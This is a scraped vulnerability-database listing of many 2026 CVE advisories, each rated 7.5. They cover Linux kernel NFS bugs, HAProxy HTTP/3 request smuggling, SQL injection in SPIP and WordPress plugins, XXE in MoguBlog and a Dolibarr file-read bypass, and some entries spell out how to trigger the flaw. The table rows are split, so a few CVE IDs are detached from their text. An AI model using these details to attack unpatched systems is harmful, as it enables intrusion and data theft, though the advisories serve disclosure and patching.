CVE-2026-89544	allocation fails, -ENOMEM is returned with oa->count == 1 and oa->data == NULL. All other error paths jump to free_oa: which frees oa->data and NULLs it but also leaves oa->count == 1. The caller trusts the count: gssp_accept_sec_context_upcall() gssx_dec_accept_sec_context() gssx_dec_option_array() /* fails, count=1 data=NULL */ data = res.options.data[0].value /* NULL deref */ Independently, free_creds: releases the partially decoded svc_cred with a bare kfree(creds). gssx_dec_linux_creds() installs a groups_alloc() result into creds->cr_group_info; that object is kvmalloc-backed and refcounted, and only put_group_info() reaches kvfree(). A plain kfree(creds) drops the wrapper and leaks the group_info allocation. The natural fix for the leak is to call free_svc_cred(creds) before kfree(creds), but free_svc_cred() invokes put_group_info() on creds->cr_group_info unconditionally when non-NULL. The existing out_free_groups: path in gssx_dec_linux_creds() already called groups_free() on that pointer without clearing it, so once free_svc_cred() is wired in, the subsequent put_group_info() would touch freed memory. Fix all four together: - Move the oa->count = 1 assignment below the oa->data allocation so it is never set when oa->data is NULL. - Reset oa->count to 0 at free_oa: so count and data stay coherent and the caller sees an empty option array. - Call free_svc_cred(creds) before kfree(creds) at free_creds: so the refcounted cr_group_info is released. free_svc_cred() either NULL-guards each field explicitly (cr_group_info has an if() check) or delegates to a helper that is NULL-safe itself (kfree for the string fields, gss_mech_put() which guards with if(gm) at gss_mech_switch.c:342), so it is safe to call on a partially decoded svc_cred where only cr_uid/cr_gid/cr_group_info have been written and everything else is zero from kzalloc. - In gssx_dec_linux_creds()'s out_free_groups: path, release cr_group_info with put_group_info() rather than groups_free() so the teardown matches free_svc_cred()'s refcount-aware path, and clear the pointer so a later free_svc_cred() on the same creds does not release it a second time.	7.5	More Details
CVE-2026-89262	MoguBlog through 6.2 contains an authorization bypass vulnerability in the comment deletion endpoint that performs ownership checks against request-body fields instead of the authenticated principal. Attackers can delete arbitrary comments and their replies by supplying comment UIDs and author UIDs obtained from unauthenticated listing endpoints.	7.5	More Details
CVE-2026-90678	An issue was discovered in HAProxy 3.3.0 through 3.4.4 and in 3.5-dev1 through 3.5-dev5. Exploitation requires an HTTP/3 frontend: HAProxy must be built with QUIC support and configured with a QUIC bind listener, and the affected traffic must reach a backend over HTTP/1.1 using chunked transfer coding on a reused connection. Under those conditions, when an HTTP/3 request carries no Content-Length header, the HTTP/3 multiplexer credits the length declared in a DATA frame header to the stream endpoint's known-input-payload estimate at the moment the frame header is decoded, before the payload has been received, and that declared length is emitted verbatim as the HTTP/1.1 chunk size. A remote unauthenticated client that declares more payload than it delivers and then ends the stream causes HAProxy to announce a chunk larger than the bytes it writes and to return the connection to the idle pool in a desynchronized state. The result is potential HTTP request smuggling on reused backend connections: an attacker can place a request past a frontend rule such as a path-based http-request deny, so that the smuggled request is never seen by HAProxy's HTTP analysis, and can cause concurrent clients' requests, including their request lines and Authorization headers, to be consumed as the attacker's request body and lost. Exploitation is not deterministic; it depends on a race with backend connection pooling, succeeding in a majority of but not all trials during testing, and can be retried freely. The mechanism was introduced in 3.3-dev10; releases 3.2.x and earlier are unaffected.	7.5	More Details
CVE-2026-89549	In the Linux kernel, the following vulnerability has been resolved: sunrpc: route to a populated pool in svc_pool_for_cpu() svc_set_num_threads() spreads the requested threads evenly across the service's pools (base = nrservs / sv_nrpools). When a service runs fewer threads than it has pools -- e.g. an nfsd configured with fewer threads than the host has NUMA nodes while running in "pernode" or "percpu" mode -- the trailing pools are left with no threads at all. svc_xprt_enqueue() selects a pool from the CPU servicing the transport, queues the transport on that pool's sp_xprts, and only wakes a thread from the same pool. Each thread services exclusively its own pool, so a transport that lands on a threadless pool is enqueued on sp_xprts and never picked up: the connection hangs indefinitely. Have svc_pool_for_cpu() skip pools that currently have no threads, falling back to the next populated pool. This trades NUMA locality for a guarantee that the work is actually serviced. sp_nrthreads is only updated under the service mutex; the lockless read here is a best-effort routing hint, so annotate it with data_race().	7.5	More Details
CVE-2026-89260	MoguBlog through 6.2 contains an XML external entity injection vulnerability in the WeChat callback handler at POST /wechat/wechatCheck. The WechatRestApi.index() method passes the raw request body to SignUtil.xmlToMap(), which uses an unhardened dom4j SAXReader without DTD or external-entity restrictions. Unauthenticated remote attackers can submit DOCTYPE declarations with external parameter entities to read arbitrary local files or trigger outbound HTTP requests, with resolved entities reflected in error responses.	7.5	More Details
CVE-2026-79324	Missing authorization in the Address Delete controller in Mageplaza GDPR for Magento 2 (mageplaza/module-gdpr) through 4.2.9 allows remote unauthenticated attackers to delete any customer's saved address, and to erase all stored addresses by iterating the address id, via a GET request to /customer/address/delete/id/{id}. The controller extends the legacy Action class instead of AbstractAccount, so no authentication, ownership or form key check is enforced.	7.5	More Details
	AirSane is a SANE frontend, and a scanner server that supports Apple's AirScan protocol. Versions prior to 0.4.12 have a vulnerability in the custom HTTP server implementation of AirSane that allows a remote		

CVE-2026-54135	unauthenticated attacker to cause a Denial of Service (DoS) via memory exhaustion (OOM). In httpserver.cpp, the HttpServer::Request::content function reads the Content-Length header and directly passes this value to std::string::resize() without any upper-bound validation or safe parsing. An attacker can send an HTTP POST request with an artificially large Content-Length value. This forces the daemon to attempt allocating gigabytes of memory, resulting in a std::bad_alloc exception and immediately crashing the AirSane process. Additionally, providing non-numeric characters in the Content-Length header leads to undefined behavior (NaN to integer conversion) due to the lack of error handling during header parsing. Version 0.4.12 patches the issue.	7.5	More Details
CVE-2026-73786	A vulnerability in the web-based management interface of CPPM could allow an unauthenticated remote attacker to conduct a Denial-of-Service (DoS) attack. Successful exploitation could allow an attacker to cause instability and degrade performance of the vulnerable CPPM server.	7.5	More Details
CVE-2026-89561	In the Linux kernel, the following vulnerability has been resolved: ipv6: rpl: fix NULL dereference of idev in ipv6_rpl_srh_rcv() ipv6_rpl_srh_rcv() dereferences idev from __in6_dev_get() without a NULL check when reading idev->cnf.rpl_seg_enabled. When the device's MTU drops below IPV6_MIN_MTU, addrconf_ifdown() clears dev->ip6_ptr through RCU_INIT_POINTER(). A packet that passed the idev check in ip6_rcv_core() can then reach ipv6_rpl_srh_rcv() with dev->ip6_ptr already NULL. Reproduced by flooding the receiving interface with ping6 traffic while flapping its MTU between 1500 and 1200: BUG: KASAN: null-ptr-deref in ipv6_rpl_srh_rcv+0xb3/0x1070 Read of size 4 at addr 00000000000006b4 by task ping6/394 CPU: 2 UID: 0 PID: 394 Comm: ping6 Not tainted 7.2.0-rc7-micro-vm-dev-00095-g24ef02f934ee #240 PREEMPT(full) Call Trace: <IRQ> kasan_report+0xc6/0x100 ipv6_rpl_srh_rcv+0xb3/0x1070 ip6_protocol_deliver_rcu+0x759/0x9a0 ip6_input_finish+0xa8/0x1b0 ip6_input+0xe1/0x490 ipv6_rcv+0x33d/0x460 __netif_receive_skb_one_core+0xd6/0x130 process_backlog+0x2cc/0xa00 __napi_poll.constprop.0+0x56/0x270 net_rx_action+0x327/0x730 handle_softirqs+0x11e/0x630 do_softirq+0xb3/0xf0 </IRQ> Both ipv6_rpl_srh_rcv() and ipv6_srh_rcv() are called only from ipv6_rthdr_rcv(), which already has an idev lookup. Fix the NULL dereference on the RPL path by checking idev in ipv6_rthdr_rcv(), before it calls either function. The callees take idev as an argument and no longer call __in6_dev_get(), so the packet is now dropped in one place, with SKB_DROP_REASON_IPV6DISABLED on both paths.	7.5	More Details
CVE-2026-87962	t-digest versions 3.1 through 3.3 contain a denial of service vulnerability in MergingDigest.fromBytes that fails to validate length and capacity fields from serialized data. Attackers can supply crafted serialized digests with mismatched header fields to trigger ArrayIndexOutOfBoundsException or NegativeArraySizeException, aborting the parsing thread.	7.5	More Details
CVE-2026-86406	The User Registration & Membership WordPress plugin before 5.2.8 does not check the capability of the user making a membership purchase, and does not validate the payment method or the plan submitted with it, allowing any authenticated user such as a subscriber to be granted the WordPress role attached to a paid plan without paying for it. Where the site owner has mapped a plan to a privileged role, this leads to privilege escalation up to administrator.	7.5	More Details
CVE-2026-79323	Information disclosure in the blogComments GraphQL query in Magefan Blog GraphQL for Magento 2 (magefan/module-blog-graph-ql) through 2.2.1 allows remote unauthenticated attackers to obtain blog commenter email addresses and internal customer and admin identifiers via a POST request to /graphql.	7.5	More Details
CVE-2026-9166	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in GIS Informatics GisLab Laboratory Management System allows Path Traversal. This issue affects GisLab Laboratory Management System: from 1.4.03 before 1.5.	7.5	More Details
CVE-2026-52482	An issue in SJRC F11 SJ-GPS-PRO firmware build 2019-09-17 allows a remote attacker to obtain sensitive information via the inetd service spawns /app/sh_for_telnet	7.5	More Details
CVE-2026-15019	The Direct Download for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.19 via the (top-level include) function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. The product ownership check only verifies that some free, virtual, downloadable product exists on the site — not that the requested file path belongs to that product's configured downloads — making exploitation viable on any WooCommerce site with at least one such product.	7.5	More Details
CVE-2026-49362	An unauthenticated remote attacker can create arbitrary durable queues via the CORE protocol, leading to unauthorized broker state manipulation and potential denial of service. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.	7.5	More Details
CVE-2026-89528	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject Read lists that exceed the page budget Individual Read segment lengths are validated at decode time, but nothing prevents a requester from sending multiple segments whose cumulative length exceeds the rq_pages array budget. When one segment fills the page array exactly, the runtime guard in svc_rdma_build_read_segment() is bypassed because len reaches zero. A subsequent segment then accesses the NULL sentinel slot at rq_pages[rq_maxpages], resulting in a NULL pointer dereference during DMA mapping. Accumulate pages	7.5	More Details

	across all Read segments and reject the message at decode time when the total would overflow the page budget.		
CVE-2026-88286	GeoVision GV-LPC2211 V1.13 improperly manages PTZ connection state, allowing an unauthenticated remote client to block the accept loop and prevent new PTZ connections.	7.5	More Details
CVE-2026-89099	A race condition in the document value layer of MongoDB Server can allow concurrent server threads to operate on the same internal memory without synchronization, leading to memory corruption. An authenticated user holding ordinary read-write privileges on a database may be able to trigger this condition over the normal client protocol, resulting in server termination and potential corruption of process memory with user-influenced content. Successful use of this issue may impact the confidentiality, integrity, and availability of the affected server process.	7.5	More Details
CVE-2026-77771	The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim's password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all.	7.5	More Details
CVE-2026-19439	The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend. Versions from 3.0.3 to 3.2.8 disclose the same data without the redemption code.	7.5	More Details
CVE-2026-67211	OOM Denial of Service via Unbounded Map Pre-Sizing in Apache OpenNLP SymSpellModelSerializer Versions Affected: - 3.0.0-M4 - 3.0.0-M5 (The opennlp-spellcheck extension was introduced in 3.0.0-M4. Releases 1.x and 2.x do not contain the affected code.) Description: The SymSpellModelSerializer.create() method reads two 32-bit signed integer count fields (unigramCount and bigramCount) from a binary SymSpell model stream and passes each value directly to LinkedHashMap.newLinkedHashMap() after validating only that it is non-negative. No upper bound is applied, so the count is fully attacker-controlled when the model file originates from an untrusted source. A crafted .bin model file in which either count field is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) causes the map to be pre-sized to a capacity of 2^30 entries. The oversized backing array is allocated on the first put() into that map, requesting 4–8 GB depending on whether compressed oops are in effect, and the load fails with an OutOfMemoryError. Because the count fields sit immediately after a fixed-size header (magic, format version, three UTF strings, the configuration fields, and the edit-distance identifier) the attacker pays no meaningful size cost to weaponize a payload: a file of well under 100 bytes plus a single real entry is sufficient to crash a JVM that loads it. Any code path that deserializes a SymSpell model is affected, including SymSpellModels.deserialize(InputStream), SymSpellModels.fromBytes(byte[]), classpath model loading via SymSpellModelResolver.resolveByLanguage(String), the CorrectTextTool command-line tool, and model-archive loading through the registered ArtifactSerializer. The opennlp-spellcheck extension ships in the official OpenNLP binary distribution. The practical impact is denial of service against processes that load SymSpell model files from untrusted or semi-trusted origins. Mitigation: - 3.x users should upgrade to 3.0.0-M6. Note: The fix applies an upper bound to both count fields, checked before the map is pre-sized; counts that are negative or exceed the bound cause an IOException to be thrown and the read to fail fast with no large allocation. The bound is the existing AbstractModelReader.MAX_ENTRIES limit introduced earlie, which the current change promotes to public visibility so that serializers implementing their own binary format can share it. The default bound is 10,000,000, which is well above the entry counts of legitimate SymSpell dictionaries but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load larger dictionaries can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default. Note that this property is shared with the model-reader limit and raising it relaxes both. Users who cannot upgrade immediately should treat all SymSpell .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.	7.5	More Details
CVE-2026-72708	SPIP before 4.4.18 contains an unauthenticated blind SQL injection vulnerability in the SQL escaping layer that allows unauthenticated attackers to inject arbitrary SQL by supplying a crafted annee parameter value matching a word character followed by an open parenthesis, which bypasses escaping for date-type columns across MySQL, SQLite, and PostgreSQL backends. Attackers can exploit the always-present sitemap.xml.html template's annee criterion to embed unescaped time-based or boolean payloads into database queries, enabling extraction of arbitrary database content including the alea_ephemere secret used to sign SPIP action nonces.	7.5	More Details
CVE-2026-50013	Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple	7.5	More Details

	simultaneous requests. Version 1.12.8 patches the issue.		
CVE-2026-19436	The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid.	7.5	More Details
CVE-2026-88287	GeoVision GV-LPC2211 V1.13 fails to bound the number of Scopes tokens in unauthenticated ONVIF WS-Discovery Probe requests, allowing a remote attacker to corrupt stack control state and crash the discovery process.	7.5	More Details
CVE-2026-90559	snappy-java through 1.1.10.8 contains an out-of-bounds write vulnerability in Snappy.uncompress(ByteBuffer, ByteBuffer) because destination buffer capacity is never validated against decompressed size. Attackers can supply valid compressed data that decompresses larger than the destination buffer, causing writes past buffer boundaries and JVM termination.	7.5	More Details
CVE-2026-88289	GeoVision GV-LPC2211 V1.14 (260903) fails to validate attacker-controlled variable-length fields before copying them into fixed-size stack buffers in multiple VLSVR request handlers, allowing an unauthenticated remote attacker to crash the VLSVR service.	7.5	More Details
CVE-2026-49846	libks provides foundational support for signalwire C products. Prior to version 2.0.11, `clean_uri()` in libks's HTTP request parser fails to reject URIs whose path has more segments than its internal canonicalization buffer can hold. The canonicalization step silently passes such URIs through with embedded ".." sequences intact, enabling path traversal in any consumer that later joins the URI with a filesystem path. Version 2.0.11 patches the issue.	7.5	More Details
CVE-2026-88290	GeoVision GV-LPC2211 V1.14 (260903) allows unauthenticated clients to declare unbounded VLSVR frame lengths and indefinitely delay blocking receives, allowing remote exhaustion of memory, connection, and worker resources.	7.5	More Details
CVE-2026-71646	An issue in Robotics-STAR-Lab (SYSU STAR Group) RACER Tested affected version: commit abcdef1234567890 allows an attacker to cause a denial of service via the FastExplorationFSM::optTimerCallback() in swarm_exploration/exploration_manager/src/fast_exploration_fsm.cpp	7.5	More Details
CVE-2026-79393	A heap-based buffer overflow vulnerability in the WS-Addressing Action transformation function in the Sofia IPC daemon in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier allows remote unauthenticated attackers to cause a denial of service or potentially execute arbitrary code via a crafted SOAP request containing a wsa5:Action string exceeding 128 bytes.	7.5	More Details
CVE-2026-90668	The webserver in UnrealIRCd 6.0.5 through 6.2.6 before 6.2.7 does not limit the number of HTTP request headers, which allows remote attackers to cause a denial of service (memory consumption and unresponsive server) via an HTTP request with an unlimited number of headers, if a websocket or JSON-RPC listener is enabled (disabled by default).	7.5	More Details
CVE-2026-49363	An unauthenticated remote attacker connecting with the CORE protocol can discover cluster node details by sending a SUBSCRIBE_TOPOLOGY request prior to authentication. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.	7.5	More Details
CVE-2026-89013	Dolibarr 23.0.4 before 24.0.1 ontains an authorization bypass vulnerability that allows unauthenticated attackers to read arbitrary files through the document storage endpoints by supplying a crafted hashp parameter value. Attackers can send a request with hashp=shared to skip token validation while satisfying the authorization condition in htdocs/document.php and htdocs/viewimage.php, gaining access to application logs, uploaded business documents, database backups containing password hashes, and files belonging to other multicompany entities.	7.5	More Details
CVE-2026-89692	In the Linux kernel, the following vulnerability has been resolved: nfsd: clear CALLBACK_RUNNING on failed delegation recall queue nfsd_break_one_deleg() sets NFSD4_CALLBACK_RUNNING via test_and_set_bit at entry to serialize recall work, then calls nfsd4_run_cb() to queue the recall. When the queue attempt fails the refcount bump is undone, but the RUNNING bit is left set. The only site that clears the bit is nfsd41_destroy_cb() (fs/nfsd/nfs4callback.c), which runs from the workqueue and is therefore unreachable when nothing was queued. The bit becomes a permanent latch on dp->dl_recall.cb_flags: every subsequent break_lease() on the same delegation hits the early-return guard in nfsd_break_one_deleg() and silently skips the recall, so the delegation is never broken and the conflicting open or lock stalls. Fix by clearing NFSD4_CALLBACK_RUNNING on the !queued branch alongside the refcount_dec.	7.5	More Details
CVE-2026-6285	Weak Password Recovery Mechanism for Forgotten Password vulnerability in Ankaref Innovation and Technology Inc. LIBRID/LIBREF allows Password Recovery Exploitation. This issue affects LIBRID/LIBREF: from 2.01.0.2183 through 10092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	7.5	More Details
	The Sticky Chat Widget plugin for WordPress is vulnerable to SQL Injection via the 'scw_form_fields'		

CVE-2026-15462	parameter array keys of the 'scw_save_form_data' AJAX action in versions up to, and including, 1.4.2. This is due to the save_form_data() function passing attacker-controlled POST array keys unsanitized to $wpdb->insert(), which wraps column identifiers in backticks without escaping them, allowing a backtick in an attacker-supplied key to break out of the column-identifier list into raw SQL; additionally, the use of filter_input() bypasses WordPress's wp_magic_quotes() protection, and the widget_id validation loop is skipped entirely when no valid widget_id is supplied, leaving $isValid at 1. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.5	More Details
CVE-2026-71645	An issue in Robotics-STAR-Lab (SYSU STAR Group) RACER Tested affected version: commit abcdef1234567890 allows an attacker to cause a denial of service via the exploration state machine	7.5	More Details
CVE-2026-71643	An issue in ZJU-FAST-Lab EGO-Planner-v2 All versions up to commit 5c99a95880401e2599638d567abc0e240396cb42 allows an attacker to cause a denial of service via the EGOReplanFSM component	7.5	More Details
CVE-2026-16482	The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'compare' parameter in all versions up to, and including, 4.7.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable on any public page containing an rtMedia shortcode (e.g., [rtmedia_gallery]) when the rtmedia_shortcode GET parameter is set, because RTMediaQuery::query() merges $_REQUEST into the internal query while only validating top-level array keys, allowing the nested 'compare' subvalue to reach the vulnerable sink without authentication.	7.5	More Details
CVE-2026-45770	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, a Lua rule that registers too many flow variables can corrupt Lua detection state and may bypass Suricata's restricted Lua sandbox. This requires an affected Lua script/rule to be loaded. Excessive flow variables being registered may also cause Suricata to crash. Version 8.0.5 contains a fix. As a workaround, disable `security.lua.allow-rules` unless Lua rules are required.	7.5	More Details
CVE-2026-45769	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5,IKEv2 parser state could grow without bounds while storing client transforms. Repeated crafted UDP traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Versions 7.0.16 and 8.0.5 fix the issue. Some workarounds are available. Disable IKE application-layer parsing if it is not needed. Alternatively, use a rule to bypass ike flows after the first packets like `alert ike any any -> any any (sid: 2; flow.pkts_toserver: > 256; bypass; noalert;)`.	7.5	More Details
CVE-2026-45766	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, certain NFS parser state structures were insufficiently bounded. Crafted NFS traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable NFS application-layer parsing if it is not needed.	7.5	More Details
CVE-2026-45765	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, DNP3 reassembly could buffer data without sufficient parser-level bounds. Crafted DNP3 traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable DNP3 (which is not enabled by default) if it is not needed, and/or define a limited `stream.reassembly.depth` (0 or absent is unlimited).	7.5	More Details
CVE-2026-45762	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata's IP defragmentation tracker lookup did not verify that an existing tracker used the same IP address family as the packet being processed. Under crafted fragmented IPv4/IPv6 traffic, an IPv6 fragment could be associated with an IPv4 defragmentation tracker. This can lead to a remote packet-triggered crash and denial of service when Suricata performs the relevant defragmentation. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, if using Suricata as an IDS with AF_PACKET, enabling AF_PACKET's `defrag` option may prevent Suricata from seeing such fragmented packets.	7.5	More Details
CVE-2026-78130	strongSwan 4.2.0 through 6.0.7 has a NULL pointer dereference in the x509 plugin's attribute certificate parser.	7.5	More Details
CVE-2025-57231	Path Traversal in avatar attachments in Docmost v0.21.0 allows an unauthenticated malicious actor to disclose local files via a POST Request in a public url.	7.5	More Details
CVE-2026-	An out-of-bounds read vulnerability exists in the xls_dumpSummary() function of libxls 1.6.3 due to insufficient validation of file-controlled OLE summary offsets.	7.5	More Details

79592			
CVE-2026-78132	strongSwan 5.1.3 through 6.0.7 has an infinite loop in the x509 plugin's attribute certificate parser for ietfAttrSyntax.	7.5	More Details
CVE-2026-78133	libcharon in strongSwan 6.0.0 through 6.0.7 has a use-after-free in IKEv2 rekeying collision handling.	7.5	More Details
CVE-2026-89664	In the Linux kernel, the following vulnerability has been resolved: nfsd: release OPEN-decoded posix ACLs via op_release nfsd4_decode_createhow4() calls nfsd4_decode_fattr4(), which allocates refcounted struct posix_acl objects via posix_acl_alloc() and stores them in open->op_pacl and open->op_dpacl. These pointers must be released once the OPEN compound finishes. When nfsd4_decode_open_claim4() returns a non-seqid-mutating error, the dispatcher short-circuits before op_func runs: nfsd4_proc_compound() if (op->status && op->opnum == OP_OPEN) op->status = nfsd4_open_omfg(...) if (!seqid_mutating_err(ntohl(op->status))) return op->status; /* nfsd4_open() never runs */ ... opdesc->op_release(&op->u) /* must still release op_pacl/op_dpacl */ Before this change OP_OPEN had no .op_release in nfsd4_ops[], and the release pair lived inside nfsd4_open() at its out_err: label. On the short-circuit path nfsd4_open() is never invoked, so both posix_acl refs leak on every malformed OPEN compound that carries valid POSIX ACL createhow4 attributes. Add nfsd4_open_release() and wire it as .op_release for OP_OPEN. posix_acl_release() is NULL-safe, so the single release site covers both the normal path and the nfsd4_open_omfg short-circuit. Remove the matching posix_acl_release() pair from nfsd4_open()'s out_err: label to avoid double-releasing. The compound loop has two encoding branches: nfsd4_encode_operation() for normal ops, and nfsd4_encode_replay() for v4.0 replayed ops. op_release was only called from nfsd4_encode_operation(), so resources attached to op->u leak on the replay path. Move the op_release() call out of nfsd4_encode_operation() and the replay branch, placing it after the if-else in nfsd4_proc_compound(). This gives a single call site in a fairly obviously-correct place, covering both the normal encoding and replay paths.	7.5	More Details
CVE-2026-89657	In the Linux kernel, the following vulnerability has been resolved: libceph: validate OSD extent maps before cursor advance net/ceph/osd_client.c:osd_sparse_read() validates that the sparse-read data length matches the summed extent lengths, but it does not validate that each OSD-supplied extent is monotonic and lies inside the original request range. A malformed authenticated OSD reply can advertise a far-forward nonzero extent offset with a matching data length and make the client advance the message-data cursor beyond the request buffer. This reaches the BUG_ON(!*length) assertion in ceph_msg_data_next() from the client receive path. Impact: A malicious or compromised authenticated Ceph OSD peer can crash a kernel Ceph client via a malformed sparse-read reply. Reject sparse extent maps that overflow, move backwards, overlap, or extend outside the original sparse-read request before advancing the cursor. [idryomov: perform sparse_extent_map_valid() check a bit earlier, in CEPH_SPARSE_READ_DATA_LEN instead of CEPH_SPARSE_READ_DATA_PRE state]	7.5	More Details
CVE-2026-71647	An issue in EGO-Planner-v2 All versions up to commit 5c99a95880401e2599638d567abc0e240396cb42 allows an attacker to cause a denial of service via the checkCollisionCallback, execFSMCallback, planFromGlobalTraj in ego_replan_fsm.cpp	7.5	More Details
CVE-2026-87842	The Zonify WordPress plugin before 1.0.5 does not perform any capability or authentication check before returning the site's stored account login token, allowing unauthenticated attackers to retrieve it and authenticate to the site owner's linked service account.	7.5	More Details
CVE-2026-89706	In the Linux kernel, the following vulnerability has been resolved: nfsd: Reset write verifier when async COPY writeback fails Async COPY captures nn->writeverf at request time and reports it to the client via CB_OFFLOAD after the worker kthread completes. When the post-copy vfs_fsync_range() or filemap_check_wb_err() in _nfsd_copy_file_range() reports an error, the worker correctly leaves NFSD4_COPY_F_COMMITTED clear so that CB_OFFLOAD encodes wr_stable_how as NFS_UNSTABLE, but the server's write verifier is not rotated. A client that receives NFS_UNSTABLE in CB_OFFLOAD follows up with COMMIT to make the copied data durable. With the verifier unchanged, COMMIT returns the same value the client just received via CB_OFFLOAD, and the client concludes the copy is durable -- silently dropping the data whose writeback in fact failed. This violates the UNSTABLE+COMMIT durability contract (RFC 7862 section 15.1, RFC 8881 section 18.32) and matches the bug just fixed in nfsd_vfs_write() and nfsd_commit(). Rotate nn->writeverf at the writeback-failure site. The async COPY worker has no svc_rqst, so commit_reset_write_verifier() is not available here; calling nfsd_reset_write_verifier() directly mirrors the trace-less reset already used by nfsd_file_check_write_error() for the same purpose. Filter out -EAGAIN and -ESTALE, matching commit_reset_write_verifier(), since neither indicates a durable-storage failure.	7.5	More Details
CVE-2026-89684	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix cpntf publish race in nfs4_init_cp_state nfs4_alloc_init_cpntf_state() published the new cpntf entry into the s2s_cp_stateids IDR (with cs_type set) in one s2s_cp_lock section, then took the lock again to list_add() it onto p_stid->sc_cp_list. In the gap the entry is reachable by so_id but cp_list is still {NULL,NULL} from kzalloc. A racing OFFLOAD_CANCEL (so_id is echoed to the client as cnr_stateid, so any NFSv4.2 client can drive it) reaches manage_cpntf_state() -> _free_cpntf_state_locked() and does list_del() on the zeroed list_head, oopsing the server. Fold the cs_type assignment and the list_add() into the same critical section as idr_alloc_cyclic(), so a	7.5	More Details

	concurrent lookup either misses the entry or sees a fully linked cp_list. INIT_LIST_HEAD() the entry after allocation and switch _free_cpntf_state_locked() to list_del_init() so a stale unlink is a no-op. nfs4_init_copy_state() passes NULL p_stid and skips the list_add, preserving NFS4_COPY_STID semantics.		
CVE-2026-80997	In the Linux kernel, the following vulnerability has been resolved: net: ipa: fix stalled modem TX queue after runtime resume ipa_start_xmit() unconditionally stops the TX queue before calling pm_runtime_get(), relying on the wake scheduled by runtime resume (ipa_modem_wake_queue_work()) to restart it once power is ACTIVE. But that work is queued from within the runtime resume callback, before the device's power state reaches RPM_ACTIVE, so it can run while the device is still RPM_RESUMING. The wake is then consumed too early: the transmit it restarts stops the queue again, pm_runtime_get() returns -EINPROGRESS without arranging any future wake (deferred_resume exists only for RPM_SUSPENDING), and after the resume completes nothing is left to wake the queue. Transmit stalls permanently: packets pile up in the qdisc behind the stopped queue, the device runtime-suspends, and since the netdev registers no ndo_tx_timeout the watchdog never fires. Observed on SM7635 (Fairphone 6) as the cellular data path going permanently deaf within hours, RX included, since nothing resumes the suspended endpoints. Close the window by making the wake work wait for the resume to complete (pm_runtime_get_sync()) before waking the queue. Every queue stop is then guaranteed a later wake that happens while power is ACTIVE; a transmit racing a new suspend/resume cycle re-schedules the work. If the device could not be resumed, wake the queue anyway so pending packets are dropped by the transmit path rather than stranded. The STARTED power flag used to narrow this window: a wake running before the transmit path's stop suppressed that stop, but only once, as the flag was cleared by the first stop it absorbed. Removing the flag made a single transmit during an in-flight resume sufficient to strand the queue, which is the form observed. With an accelerated reproducer (autosuspend delay shortened to 5 ms, ~20 packets/s of TX), an unpatched kernel stalled three times in 230 s / 4380 packets; with this patch the same test ran 3601 s / 70298 packets without a stall.	7.5	More Details
